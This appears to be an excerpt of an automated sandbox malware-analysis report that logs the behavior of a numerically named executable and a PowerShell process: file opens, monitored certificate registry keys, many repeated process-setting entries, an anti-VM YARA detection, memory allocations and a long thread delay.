Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: 299371485_14108825808_1736351479899.exe PID: 4876, type: MEMORYSTR

Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Memory allocated: D60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Memory allocated: 2760000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Memory allocated: 2550000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Memory allocated: 76B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Memory allocated: 6DD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Memory allocated: 86B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Memory allocated: 96B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Memory allocated: 9BB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Memory allocated: ABB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Memory allocated: BBB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Memory allocated: 1590000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Memory allocated: 3070000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Memory allocated: 1720000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
